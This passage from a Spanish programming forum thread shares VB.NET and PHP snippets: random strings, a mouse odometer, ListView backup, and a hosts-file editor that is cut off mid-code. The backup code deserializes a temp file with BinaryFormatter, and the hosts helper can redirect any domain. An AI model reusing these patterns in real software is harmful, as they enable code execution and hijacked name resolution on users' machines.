  14.    End Function
  15.  
  16.    Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click 'Evento de un botón, por poner algún evento
  17.  
  18.        Dim Max As Integer = 10 'Aquí el numero de MsgBox a mostrar
  19.  
  20.        For i As Integer = 0 To Max 'Aquí se llama al ciclo For
  21.            MsgBox(Randomize()) 'Aquí se muestran las MsgBox
  22.        Next
  23.  
  24.    End Sub
  25.  
  26. End Class

Con esto voy a poder hacer muchas, pero que muchas troleadas :P

Un saludo.



Extra en PHP, para que Elektro aprenda:

Código
  1. function rand_string($length) {
  2.        $str = ""; //Por si no quieres ningún E_NOTICE por culero. :P
  3. $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"; //Aquí se define los caracteres que se van a mostrar
  4.  
  5. $size = strlen($chars); //Aquí se devuelve la longitud del string dado
  6. for($i = 0; $i < $length; $i++) { //Un ciclo For de toda la vida
  7. $str .= $chars[rand(0, $size - 1)]; //Aquí se muestra, el equivalente en mi función de VB.NET sería Dim idx As Integer = r.Next(0, 35); pero aquí no se necesita ningún sb.Append(...) :P
  8. }
  9.  
  10. return $str; //Aquí se returna para luego mostrarla con un Echo
  11. }
  12.  
  13. echo rand_string(8); //Aquí se muestra con una longitud de 8 caracteres...
  14.  
  15. //Ejemplo: http://phpfiddle.org/main/code/7rx-rnp

Ejemplo: http://phpfiddle.org/main/code/7rx-rnp ;)

:laugh: :laugh: :laugh: :laugh:

PD: Espero que sepas agradecer la molestia que me he tomado.. :P


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 31 Julio 2013, 02:16 am
Me parece indignante leer comentarios de tus codes como "esto no tengo ni p**a idea de para q sirve", etc...

En el code de VB un fallo muy grave:
Código
  1. r.Next(0, 35) 'Esto no se muy bien que hace xD

Claro, que como de costumbre no te has molestado en buscar que coño significa, pus asi vas.

Significa que el número se va a generar desde el 0 hasta el 35, pero tu cadena de caracteres tiene una longitud de 62 caracteres...con lo cual no es nada aleatorio, ya que sólo escojerá entre los primeros 35 digitos...

En cambio en el code de PHP es correcto porque priméramente se obtiene la longitud de la cadena (variable $size) para usarlo como margen total del número random, cosa que no haces en VB y no sabes ni para que sirve pero en PHP si que lo haces así que debemos suponer que en PHP si que sabes para que sirve cuando ex exáctamente lo mismo?...

Código
  1. rand(0, $size - 1)

...Así que doy por supuesto que usas copy/paste para todos los lenguajes sin enterarte de nada de lo que haces, es algo que se nota a simple vista, y me parece muy mal Ikillnukes, y como he dicho, indignante, para serte aún más sincero no me extraña que algunas personas se enfaden cuando presumes de saber un lenguaje, no eres quien para llamar noobs a los que no saben PHP, porque viendo esto... tu no eres más, intenta ser un poco más humilde.

PD: A cualquiera que se haga llamar programador le molestaría darse cuenta de las cosas que me doy cuenta yo día a día contigo. Sabes o espero que sepas que no te tengo mania, pero yo estas cosas no las tolero.

Aparte de eso, no estás definiendo el tipo de valor que devuelves en la función, pero bueno, eso es una minucia comparado con lo que verdaderamente importa.

En fin, aquí tienes mi versión con dicho error corregido, ale, a copiar se ha dicho... :

Código
  1.    Private Function Random_String(ByVal Length As Int32, _
  2.                                   Optional ByVal Characters As String = _
  3.                                   "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" _
  4.                                  ) As String
  5.  
  6.        Select Case Length
  7.  
  8.            Case Is < 1 ' Is 0 or negative
  9.                Throw New Exception("Length must be greater than 0")
  10.  
  11.            Case Else ' Is greater than 0
  12.  
  13.                Dim str As String = String.Empty
  14.                Dim rand As New Random, rand_length As Int32 = Characters.Length
  15.  
  16.                Do Until str.Length = Length
  17.                    str &= Characters.Substring(rand.Next(0, rand_length), 1)
  18.                Loop
  19.  
  20.                Return str
  21.  
  22.        End Select
  23.  
  24.    End Function

PD2: Quizás sea beneficioso crear un método parecido pero usando LINQ para procesar más rápido cadenas extremádamente largas.


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: z3nth10n en 31 Julio 2013, 13:11 pm
Citar
no eres quien para llamar noobs a los que no saben PHP...

:o :o :o :o :o :o :o :o :o

Tengo que citarlo, porque me parece muy fuerte... Cuando te pase la lista de los lenguajes que había tocado y no había aprendido, estaba VB.NET y PHP, es decir que yo mismo me califico como noob... Lo que más bueno me parece, es que m estás acusando, de a ver llamado noob a alguien que no sepa PHP... Hombre, en ciertas ocasiones puede, pero, porque me vienen preguntando (no en el foro, si no por Skype), cosas y digo, es que no sabes Googlear... Y cosas tales, pero yo en mi vida, he tomado a nadie por Noob en el tema de la programación en el foro, y si lo ha parecido ha sido p**a coincidencia...

Sobre la String, eran las 12 de la noche y llevaba prisa por irme... Me dí cuenta, pero ni me pare a corregirlo... Puede que haya hecho Copy/paste, pero porque llevaba prisa... Si no, me hubiese parado a comprobar bien lo que hacía eso.. Y es más hasta lo sospechaba, pero como ya digo llevaba prisa tio, que se le va a hacer. :P



Edit: En SO no te digo que no..., pero aquí en el foro, todavía no he tomado a nadie como noob. ;)


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: z3nth10n en 31 Julio 2013, 15:00 pm
Nuevo Snippet, calcular distancia recorrida con el ratón: :)

Código
  1. Public Class Form1
  2.  
  3. #Region "Variables"
  4.    Private Enum eUnidades  'Las unidades de nuestro "odometro" serán metro o kilometros
  5.        Metros = 0
  6.        Kilometros
  7.    End Enum
  8.    Private UnidadActual As eUnidades
  9.  
  10.    Private NOMBRE_FICHERO_ODOMETER As String = "MouseOdometerNET.tmp"  'Fichero donde se guardará la distancia recorrida (siempre en milimetros)
  11.    Private NOMBRE_FICHERO_ODOMETER_Config As String = "MouseOdometerNET.cfg" 'Fichero donde se guardará si la distancia está en metros o kilometros
  12.  
  13.    Private DistanciaRecorridaMM As Single  'Distancia total recorrida (siempre en milimetros)
  14.  
  15.    Private Structure sPointMM  'Coordenadas del raton en milímetros
  16.        Dim X As Single
  17.        Dim Y As Single
  18.    End Structure
  19.  
  20.    Private gDPIX As Integer = 96   'DPIs de la pantalla
  21.    Private gDPIY As Integer = 96
  22.  
  23.    Private WithEvents TMR_guardarDistancia As New Timer    'Timer que periodicamente guarda la distancia en el fichero
  24.    Private WithEvents TMR_capturaPosicionMouse As New Timer    'Timer de captura de la posición del raton
  25.  
  26.    Private puntoAnterior As New Point(0, 0)    'Punto capturado anteriormente
  27. #End Region
  28.  
  29. #Region "Ficheros. Lectura / Escritura"
  30.    Private Sub EscribirFichero(ByVal Fichero As String, ByVal Data As String)
  31.        Dim objFileWrite = New System.IO.StreamWriter(Fichero, False, System.Text.Encoding.Default)
  32.        objFileWrite.Write(Data)
  33.        objFileWrite.Flush()
  34.        objFileWrite.Close()
  35.    End Sub
  36.  
  37.    Private Function LeerFichero(ByVal Fichero As String) As String
  38.        Dim objFileRead As New System.IO.StreamReader(Fichero)
  39.        Dim sData As String = objFileRead.ReadToEnd
  40.        objFileRead.Close()
  41.  
  42.        Return sData
  43.    End Function
  44. #End Region
  45.  
  46. #Region "Eventos a nivel de formulario"
  47.    Private Sub Form1_FormClosing(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosingEventArgs) Handles Me.FormClosing
  48.        TMR_capturaPosicionMouse.Enabled = False
  49.        TMR_guardarDistancia.Enabled = False
  50.  
  51.        TMR_capturaPosicionMouse.Dispose()
  52.        TMR_guardarDistancia.Dispose()
  53.  
  54.        'Cuando cerramos el programa, se graba la distancia recorrida
  55.        EscribirFichero(CarpetaTempWindows() & NOMBRE_FICHERO_ODOMETER, DistanciaRecorridaMM.ToString)
  56.  
  57.        GC.Collect()
  58.    End Sub
  59.  
  60.    'Private Sub Form1_SizeChanged(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.SizeChanged
  61.    '    If Me.WindowState = FormWindowState.Minimized Then
  62.    '        Me.Visible = False
  63.    '    End If
  64.    'End Sub
  65.  
  66.    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
  67.        Dim g As Graphics = Me.CreateGraphics()
  68.        gDPIX = g.DpiX '¿Cual son los DPI de la pantalla?
  69.        gDPIY = g.DpiY
  70.  
  71.        Me.WindowState = FormWindowState.Minimized
  72.        NotifyIcon1.ShowBalloonTip(20, "Información", "MouseOdemeterNET Ejecutándose", ToolTipIcon.Info)
  73.  
  74.        IniciarParametros() 'Carga los "parámetros"
  75.        SetCheckUnidadMenu() 'Activa o desactiva la unidad de medida acutal en el ContextMenu
  76.  
  77.        'Si no existe el fichero con la distancia recorrida, se crea un nuevo
  78.        If IO.File.Exists(CarpetaTempWindows() & NOMBRE_FICHERO_ODOMETER) = False Then
  79.            EscribirFichero(CarpetaTempWindows() & NOMBRE_FICHERO_ODOMETER, "0")
  80.            DistanciaRecorridaMM = 0
  81.        Else
  82.            'En caso contrario, se carga la distancia recorrida
  83.            Dim s As String = LeerFichero(CarpetaTempWindows() & NOMBRE_FICHERO_ODOMETER)
  84.            DistanciaRecorridaMM = CType(s, Single)
  85.        End If
  86.  
  87.        'Inicializamos el timer de la captura de la posicion del raton
  88.        TMR_capturaPosicionMouse.Interval = 250
  89.        TMR_capturaPosicionMouse.Enabled = True
  90.  
  91.        'Cada "60 segundos" se irá guardando la distancia recorrida
  92.        TMR_guardarDistancia.Interval = 60000
  93.        TMR_guardarDistancia.Enabled = True
  94.  
  95.        'Obtenemos el punto acual donde se encuentra el raton
  96.        puntoAnterior = Cursor.Position
  97.  
  98.        Me.Width = 0
  99.        Me.Height = 0
  100.    End Sub
  101. #End Region
  102.  
  103. #Region "Calculo de la distancia"
  104.    'Convierte una posicion de pixel en pantalla a su valor en milimetros
  105.    Public Function PIXELtoMM(ByVal ValorPixel As Integer, ByVal ValorDPI As Integer) As Single
  106.        Return (ValorPixel / ValorDPI * 25.4)
  107.        'Return (Format(((25.4 * ValorPixel) / ValorDPI), "0.0000"))
  108.    End Function
  109.  
  110.    ' Calcula la distancia entre dos puntos (expresados en pixels)
  111.    Private Function DistanciaEntreDosPuntos(ByVal Origen As Point, ByVal Destino As Point) As Single
  112.  
  113.        If (Origen.X = Destino.X) And (Origen.Y = Destino.Y) Then
  114.            Return 0
  115.        Else
  116.            'Paso 1: los puntos pasados como "pixels" se convierten en coordenadas cartesianas en "milimetros"
  117.            Dim tmpPointOrigenMM As sPointMM
  118.  
  119.            Dim tmpPointDestinoMM As sPointMM
  120.  
  121.            tmpPointOrigenMM.X = PIXELtoMM(Origen.X, gDPIX)
  122.            tmpPointOrigenMM.Y = PIXELtoMM(Origen.Y, gDPIY)
  123.  
  124.            tmpPointDestinoMM.X = PIXELtoMM(Destino.X, gDPIX)
  125.            tmpPointDestinoMM.Y = PIXELtoMM(Destino.Y, gDPIY)
  126.  
  127.            'Paso 2: Aplicar la formula de la distancia entre dos puntos para saber la distancia en milimetros
  128.            'd=SQR[ (destino.x-origen.x)^2 + (destino.y-origen.y)^2 ]
  129.  
  130.            Dim Xdist As Single = Math.Pow((tmpPointDestinoMM.X - tmpPointOrigenMM.X), 2)
  131.            Dim Ydist As Single = Math.Pow((tmpPointDestinoMM.Y - tmpPointOrigenMM.Y), 2)
  132.  
  133.            Return Math.Sqrt(Xdist + Ydist)
  134.  
  135.        End If
  136.    End Function
  137. #End Region
  138.  
  139. #Region "Timers"
  140.    'Timer que va guardando la distancia en un fichero
  141.    Private Sub TMR_guardarDistancia_Tick(ByVal sender As Object, ByVal e As System.EventArgs) Handles TMR_guardarDistancia.Tick
  142.        EscribirFichero(CarpetaTempWindows() & NOMBRE_FICHERO_ODOMETER, DistanciaRecorridaMM.ToString)
  143.    End Sub
  144.  
  145.    'Timer que va capturando la posición del raton
  146.    Private Sub TMR_capturaPosicionMouse_Tick(ByVal sender As Object, ByVal e As System.EventArgs) Handles TMR_capturaPosicionMouse.Tick
  147.  
  148.        'Oculta el "formulario". Esto se hace solo la primera vez que se entra en este timer
  149.        Static bHecho As Boolean
  150.        If bHecho = False Then
  151.            bHecho = True
  152.            Me.Visible = False
  153.        End If
  154.  
  155.        Dim MousePosition As Point
  156.        MousePosition = Cursor.Position
  157.  
  158.        'Actualiza la variable con la distancia recorrida
  159.        DistanciaRecorridaMM += DistanciaEntreDosPuntos(puntoAnterior, MousePosition)
  160.        puntoAnterior.X = MousePosition.X
  161.        puntoAnterior.Y = MousePosition.Y
  162.  
  163.        'Muesta la distancia en el ContextMenu
  164.        Select Case UnidadActual
  165.            Case eUnidades.Metros
  166.                DistanciaToolStripMenuItem.Text = DistanciaRecorridaMM / 1000 & " m"
  167.            Case eUnidades.Kilometros
  168.                DistanciaToolStripMenuItem.Text = DistanciaRecorridaMM / 1000000 & " km"
  169.        End Select
  170.  
  171.        'y en el "caption" del NotifyIcon
  172.        NotifyIcon1.Text = "MouseOdometerNET (" & DistanciaToolStripMenuItem.Text & ")"
  173.  
  174.    End Sub
  175. #End Region
  176.  
  177. #Region "ContextMenu"
  178.    '¿Cerrar la aplicación?
  179.    Private Sub CerrarToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CerrarToolStripMenuItem.Click
  180.        If MessageBox.Show("Oh Dios mío. ¿Estás seguro que deseas volver a la soledad del escritorio de Windows?", Application.ProductName, MessageBoxButtons.YesNo, MessageBoxIcon.Question) = Windows.Forms.DialogResult.Yes Then
  181.            Me.Close()
  182.        End If
  183.    End Sub
  184.    '¿Resetear la distancia recorrida?
  185.    Private Sub ResetearToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ResetearToolStripMenuItem.Click
  186.        If MessageBox.Show("¿Estás seguro que deseas resetear la distancia recorrida?", Application.ProductName, MessageBoxButtons.YesNo, MessageBoxIcon.Question) = Windows.Forms.DialogResult.Yes Then
  187.            EscribirFichero(CarpetaTempWindows() & NOMBRE_FICHERO_ODOMETER, "0")
  188.            DistanciaRecorridaMM = 0
  189.        End If
  190.    End Sub
  191.    'Seleccionar la distancia como "Metros"
  192.    Private Sub MetrosToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MetrosToolStripMenuItem.Click
  193.        UnidadActual = eUnidades.Metros
  194.        EscribirFichero(CarpetaTempWindows() & NOMBRE_FICHERO_ODOMETER_Config, UnidadActual)
  195.        SetCheckUnidadMenu()
  196.    End Sub
  197.    'Seleccionar la distancia como "Kilometros"
  198.    Private Sub KilometrosToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles KilometrosToolStripMenuItem.Click
  199.        UnidadActual = eUnidades.Kilometros
  200.        EscribirFichero(CarpetaTempWindows() & NOMBRE_FICHERO_ODOMETER_Config, UnidadActual)
  201.        SetCheckUnidadMenu()
  202.    End Sub
  203. #End Region
  204.  
  205. #Region "Miscelanea"
  206.    'Devuelve cual es la carpeta "Temporal" de Windows
  207.    Private Function CarpetaTempWindows() As String
  208.        Dim s As String
  209.        s = IO.Path.GetTempPath
  210.        If s.EndsWith("\") = False Then s &= "\"
  211.        Return s
  212.    End Function
  213.    'Activa o desactiva la unidad de distancia en el ContextMenu
  214.    Private Sub SetCheckUnidadMenu()
  215.        Select Case UnidadActual
  216.            Case eUnidades.Kilometros
  217.                KilometrosToolStripMenuItem.CheckState = CheckState.Checked
  218.                MetrosToolStripMenuItem.CheckState = CheckState.Unchecked
  219.            Case eUnidades.Metros
  220.                KilometrosToolStripMenuItem.CheckState = CheckState.Unchecked
  221.                MetrosToolStripMenuItem.CheckState = CheckState.Checked
  222.        End Select
  223.    End Sub
  224.    'Inicia los "parámetros", de tal forma que si cerramos el programa y luego lo volvemos a ejecutar,
  225.    'Se inicializara la "unidad" de medida anterior
  226.    Private Sub IniciarParametros()
  227.        If IO.File.Exists(CarpetaTempWindows() & NOMBRE_FICHERO_ODOMETER_Config) = False Then
  228.            UnidadActual = eUnidades.Metros
  229.            EscribirFichero(CarpetaTempWindows() & NOMBRE_FICHERO_ODOMETER_Config, UnidadActual)
  230.        Else
  231.            Dim s As String = LeerFichero(CarpetaTempWindows() & NOMBRE_FICHERO_ODOMETER_Config)
  232.            UnidadActual = CType(s, eUnidades)
  233.        End If
  234.    End Sub
  235. #End Region
  236.  
  237. End Class

Fuente: http://www.gamefilia.com/ollydbg/11-07-2009/24484/cuantos-kilometros-recorre-tu-raton-adivinalo-ahora

Source: http://blog.transitopesado.com/blog/file.axd?file=2011%2f2%2fMouseOdometerNET_source.zip

Un saludo.
PD:
Con esto voy a poder hacer mi app, ahora solo me falta saber cuantas letras clico al día... :P Según Drvy vio por ahí cada 1000 teclas son 20 calorías, pues ale, a hacer reglas de 3... :P

Y así puedo sacar cuantas calorías se queman xD Que te parece?


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 31 Julio 2013, 15:01 pm
yo en mi vida, he tomado a nadie por Noob en el tema de la programación

Ahá...

xD Que bueno es saber CSS y HTML y un poco de PHP. Es la ostia los noobs que son algunos.

[Offtopic] No subestimar a los demás, alguien podría estar pensando lo mismo sobre ti en .NET :silbar:

PD: La otra cita es para que recuerdes el buen consejo de Novlucker.

Si quieres aceptar mi consejo hazlo, sino pues no lo hagas, pero ya te he dicho lo que pienso y tu también lo acabas de hacer, ya no es necesario que sigamos haciendo más offtopics.

Saludos


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: z3nth10n en 31 Julio 2013, 15:04 pm
Eh, eh, eh! xDD Me estás citando temas de MP xD Eso es privado, además, eso es en StackOverFlow, aquí no he visto nadie noob, solo que lo piden todo muy hecho, vamos como soy yo... xD

Ale, hasta aquí mi último offtopic, no quiero quedar yo como el malo, ostias! :xD :xD :laugh:

Maemia, vas y me sacas un MP que no tiene nada que ver con EHN, pero a que juegas? LOL xDD
PD: No te tomes a mal la expresión "a que juegas" ;)

Un saludo.



Citar
[Offtopic] No subestimar a los demás, alguien podría estar pensando lo mismo sobre ti en .NET :silbar:

Por ejemplo, medio foro... xD



Edit: Pero que digo? xD Si eso es un topic, es verdad, me reitero a lo dicho, pero por igual, me refería a StackOverflow, "la comunidad del código hecho", si tu lo sabes bien, que algunos preguntan unas cacho burradas que pa que... :P


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Novlucker en 31 Julio 2013, 15:06 pm
http://foro.elhacker.net/net/customizar_texto_2_o_3_veces_dentro_del_mismo_label-t394160.0.html;msg1867848#msg1867848


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: z3nth10n en 31 Julio 2013, 15:08 pm
http://foro.elhacker.net/net/customizar_texto_2_o_3_veces_dentro_del_mismo_label-t394160.0.html;msg1867848#msg1867848

Citar
Edit: Pero que digo? xD Si eso es un topic, es verdad, me reitero a lo dicho, pero por igual, me refería a StackOverflow, "la comunidad del código hecho", si tu lo sabes bien, que algunos preguntan unas cacho burradas que pa que... :P

:¬¬ :¬¬ Mientras tu te molestabas en buscar el topic yo me estaba reiterando en lo que he dicho, pido perdón... :P

Es más, si se me permite voy a citar un topic de StackOverFlow en el que creo que me vais a dar la razón...

La super ultra mega pregunta de PHP: http://stackoverflow.com/questions/17475292/no-database-selected-on-php/17475317#17475317

Solo a ese topic me refería (porque no encuentro preguntas muy noobs, bueno puede que algunas, pero son fallos tontos que cualquiera podría tener, hasta yo mismo), no me digáis, que no tengo razón, por lo menos quien sepa de PHP, pensará que ese tío que ha hecho la pregunta es un burro... No me digáis que no, porque eso es ya trolear... ;)

Puede que llevéis razón, en que otra persona puede estar pensando lo mismo de mi en .NET, pero eso no me quita a mi, de defender lo que si se en PHP ;)



Y ya dejemos desviar el tema...

Que os parece el Snippete que me he encontrado por ahí? :silbar:


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 31 Julio 2013, 16:00 pm
Mientras tu te molestabas en buscar el topic yo me estaba reiterando en lo que he dicho, pido perdón...


Pincha donde dice "Cita de: Ikillnukes" y verás lo que ocurre... ;)

Saludos.





Un administrador de Snippets:

http://forum.mphca.net/showthread.php?150809-Release-Vb-net-Code-Snippet-Manager

(http://i991.photobucket.com/albums/af38/TastyCookieez/Untitled-11.png)

PD: NO LO HE TESTEADO


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: z3nth10n en 31 Julio 2013, 16:02 pm

Pincha donde dice "Cita de: Ikillnukes" y verás lo que ocurre... ;)

Saludos.



Ya no me dí cuenta de hacerlo, me di cuenta más tarde xD



Un administrador de Snippets:

http://forum.mphca.net/showthread.php?150809-Release-Vb-net-Code-Snippet-Manager

(http://i991.photobucket.com/albums/af38/TastyCookieez/Untitled-11.png)

PD: NO LO HE TESTEADO

Anda, que chulo...

PD: Sigues sin opinar el Source que he encontrado.. :(


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 31 Julio 2013, 16:20 pm
PD: Sigues sin opinar el Source que he encontrado.. :(

¿Porque me toca siempre a mi opinar todos los snippets q posteas? xD

Si fuese un snippet tuyo opinaria, o en caso de que tuviese errores o se pudiese mejorar pues comentaria todos esos aspectos...

...¿pero que leches quieres q diga de ese snippet? xD, pues me parece un snippet muy ...peculiar, vaya ...que no le encuentro utilidad alguna :xD, pero bueno seguro que alguna utilidad se le podrá dar, aunque sea por pura curiosidad de saber cuantos "kilometros" recorremos a diario...

Saludos.


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 6 Agosto 2013, 21:50 pm
Guardar y recuperar datos en una aplicación, por ejemplo si la aplicación se mata después de un bug o si reiniciamos el Pc (de forma brusca sin esperar a que las aplicaciones se cierren), etc...

El code es genérico y está optimizado para salvaguardar los datos (items) de un Listview, pero se puede modificar fácilmente para usarlo con todo tipo de datos...


PD: Esto es una traslación con pocas mejoras de un code de C# que me proporcionó Novlucker, así que los créditos para él.
Código
  1. #Region " Backup and Recovery Listview Items "
  2.  
  3.    ' [ Backup and Recovery Listview Items ]
  4.  
  5.    ReadOnly BackupFile As String = "Recovery.tmp"  ' File conaining the data to recover.
  6.    Private BackupData As New List(Of ListViewItem) ' Storage for the data to backup.
  7.    Private BinaryFormat As New System.Runtime.Serialization.Formatters.Binary.BinaryFormatter()
  8.  
  9.    Private Sub Backup(ByVal ListView As ListView)
  10.  
  11.        BackupData.Clear()
  12.  
  13.        Select Case ListView.Items.Count
  14.  
  15.            Case 0
  16.                Try : IO.File.Delete(BackupFile) : Catch : End Try
  17.                ' We don't need the BackupFile if it will not contains anything to recover...
  18.  
  19.            Case Else
  20.  
  21.                BackupData.AddRange(ListView.Items.Cast(Of ListViewItem))
  22.  
  23.                Using Writter As New IO.FileStream(BackupFile, IO.FileMode.Create)
  24.                    BinaryFormat.Serialize(Writter, BackupData)
  25.                End Using
  26.  
  27.        End Select
  28.  
  29.    End Sub
  30.  
  31.    Private Sub Recovery(ByVal ListView As ListView)
  32.  
  33.        If IO.File.Exists(BackupFile) Then
  34.  
  35.            Using Reader As New IO.FileStream(BackupFile, IO.FileMode.Open)
  36.                BackupData = DirectCast(BinaryFormat.Deserialize(Reader), List(Of ListViewItem))
  37.            End Using
  38.  
  39.            ListView.Items.AddRange(BackupData.ToArray())
  40.  
  41.        End If
  42.  
  43.    End Sub
  44.  
  45. #End Region

Ejemplo de uso:

Para guardar todos los items de un listview en un archivo temporal ...por ejemplo cada 60 segundos:

Código
  1.    WithEvents BackupTimer As New Timer With {.Interval = 60 * 1000, .Enabled = True}
  2.  
  3.    Private Sub BackupTimer_Tick(sender As Object, e As EventArgs) Handles BackupTimer.Tick
  4.        Backup(ListView1)
  5.        End ' Matamos la aplicación si se quiere testear...
  6.    End Sub


Y para restaurar los datos perdidos en la próxima ejecución de la aplicación podemos hacer lo siguiente:

Código
  1.    Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
  2.  
  3.        If IO.File.Exists(BackupFile) Then
  4.  
  5.            If MessageBox.Show( _
  6.               "An error ocurred during the last session." & vbNewLine & vbNewLine & _
  7.               "Do you want to recover the lost data?", "Recovery", _
  8.               MessageBoxButtons.YesNo, MessageBoxIcon.Question) _
  9.            = DialogResult.Yes Then
  10.  
  11.                Recovery(ListView1)
  12.                MessageBox.Show("Data recovered!", "Recovery", MessageBoxButtons.OK, MessageBoxIcon.Information)
  13.  
  14.            End If
  15.  
  16.        End If
  17.  
  18.    End Sub

Saludos.


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 10 Agosto 2013, 22:55 pm
Una Class para manipular el archivo Hosts:

Código
  1. #Region " Hosts Helper "
  2.  
  3. Public Class Hosts_Helper
  4.  
  5.  
  6.    ' [ Hosts Helper ]
  7.    '
  8.    ' // By Elektro H@cker
  9.    '
  10.    ' Examples:
  11.    '
  12.    ' MsgBox(Hosts_Helper.HOSTS_Exists)
  13.    ' Hosts_Helper.Add("www.youtube.com", "231.7.66.33")
  14.    ' Hosts_Helper.Block("www.youtube.com")
  15.    ' MsgBox(Hosts_Helper.IsAdded("www.youtube.com"))
  16.    ' MsgBox(Hosts_Helper.IsBlocked("www.youtube.com"))
  17.    ' Hosts_Helper.Remove("www.youtube.com")
  18.    ' Hosts_Helper.Clean_Hosts_File()
  19.  
  20.  
  21.    Shared ReadOnly HOSTS As String = _
  22.    IO.Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.System), "Drivers\etc\hosts")
  23.  
  24.  
  25.    ''' <summary>
  26.    ''' Adds a new Block mapping into the Hosts file.
  27.    ''' </summary>
  28.    Public Shared Sub Block(ByVal URL As String)
  29.  
  30.        Dim Entry As String = String.Format("::1 {0}", URL)
  31.  
  32.        If HOSTS_Exists() AndAlso IsBlocked(URL) Then
  33.  
  34.            Throw New Exception(String.Format("""{0}"" is already blocked.", URL))
  35.            Exit Sub
  36.  
  37.        ElseIf HOSTS_Exists() AndAlso IsAdded(URL) Then
  38.  
  39.            Remove(URL)
  40.  
  41.        End If
  42.  
  43.        Try
  44.            IO.File.AppendAllText(HOSTS, (Environment.NewLine & Entry), System.Text.Encoding.Default)
  45.        Catch ex As Exception
  46.            Throw New Exception(ex.Message)
  47.        End Try
  48.  
  49.    End Sub
  50.  
  51.  
  52.    ''' <summary>
  53.    ''' Adds a new mapping into Hosts file.
  54.    ''' </summary>
  55.    Public Shared Sub Add(ByVal URL As String, ByVal IP_Address As String)
  56.  
  57.        Dim Entry As String = String.Format("{0} {1}", IP_Address, URL)
  58.  
  59.        If HOSTS_Exists() AndAlso (IsAdded(URL) OrElse IsBlocked(URL)) Then
  60.            Throw New Exception(String.Format("""{0}"" is already mapped.", URL))
  61.            Exit Sub
  62.  
  63.        ElseIf Not Validate_IP(IP_Address) Then
  64.            Throw New Exception(String.Format("""{0}"" is not a valid IP adress.", IP_Address))
  65.            Exit Sub
  66.        End If
  67.  
  68.        Try
  69.            IO.File.AppendAllText(HOSTS, (Environment.NewLine & Entry), System.Text.Encoding.Default)
  70.        Catch ex As Exception
  71.            Throw New Exception(ex.Message)
  72.        End Try
  73.  
  74.    End Sub
  75.  
  76.  
  77.    ''' <summary>
  78.    ''' Removes a blocked or an added URL from the Hosts file.
  79.    ''' </summary>
  80.    Public Shared Sub Remove(ByVal URL As String)
  81.  
  82.        If Not HOSTS_Exists() Then
  83.            Throw New Exception("HOSTS File does not exists.")
  84.            Exit Sub
  85.        ElseIf HOSTS_Exists() And Not (IsAdded(URL) OrElse IsBlocked(URL)) Then
  86.            Throw New Exception(String.Format("""{0}"" is not added yet.", URL))
  87.            Exit Sub
  88.        End If
  89.  
  90.        Try
  91.  
  92.            Dim Content As String = _
  93.                System.Text.RegularExpressions.Regex.Replace(IO.File.ReadAllText(HOSTS).ToLower, _
  94.                String.Format("(\d{{1,3}}\.\d{{1,3}}\.\d{{1,3}}\.\d{{1,3}}|::1)(\s+|\t+){0}", URL.ToLower), String.Empty)
  95.  
  96.            IO.File.WriteAllText(HOSTS, Content, System.Text.Encoding.Default)
  97.  
  98.        Catch ex As Exception
  99.            Throw New Exception(ex.Message)
  100.        End Try
  101.  
  102.    End Sub
  103.  
  104.  
  105.    ''' <summary>
  106.    ''' Checks if an URL is already added into the Hosts file.
  107.    ''' </summary>
  108.    Public Shared Function IsAdded(ByVal URL As String) As Boolean
  109.  
  110.        Return If(Not HOSTS_Exists(), False, _
  111.                  System.Text.RegularExpressions.Regex.IsMatch( _
  112.                  System.Text.RegularExpressions.Regex.Replace(IO.File.ReadAllText(HOSTS).ToLower, "\s+|\t+", ";"), _
  113.                  String.Format(";[^\#]?\d{{1,3}}\.\d{{1,3}}\.\d{{1,3}}\.\d{{1,3}};{0}", URL.ToLower)))
  114.  
  115.    End Function
  116.  
  117.  
  118.    ''' <summary>
  119.    ''' Checks if an URL is already blocked into the Hosts file.
  120.    ''' </summary>
  121.    Public Shared Function IsBlocked(ByVal URL As String) As Boolean
  122.  
  123.        Return If(Not HOSTS_Exists(), False, _
  124.                  System.Text.RegularExpressions.Regex.IsMatch( _
  125.                  System.Text.RegularExpressions.Regex.Replace(IO.File.ReadAllText(HOSTS).ToLower, "\s+|\t+", String.Empty), _
  126.                  String.Format("[^\#](127.0.0.1|::1){0}", URL.ToLower)))
  127.  
  128.    End Function
  129.  
  130.  
  131.    ''' <summary>
  132.    ''' Checks if the Hosts file exists.
  133.    ''' </summary>
  134.    Public Shared Function HOSTS_Exists() As Boolean
  135.        Return IO.File.Exists(HOSTS)
  136.    End Function
  137.  
  138.  
  139.    ''' <summary>
  140.    ''' Cleans all the mappings inside the Hosts file.
  141.    ''' </summary>
  142.    Public Shared Sub Clean_Hosts_File()
  143.        Try
  144.            IO.File.WriteAllText(HOSTS, String.Empty)
  145.        Catch ex As Exception
  146.            MsgBox(ex.Message)
  147.        End Try
  148.    End Sub
  149.  
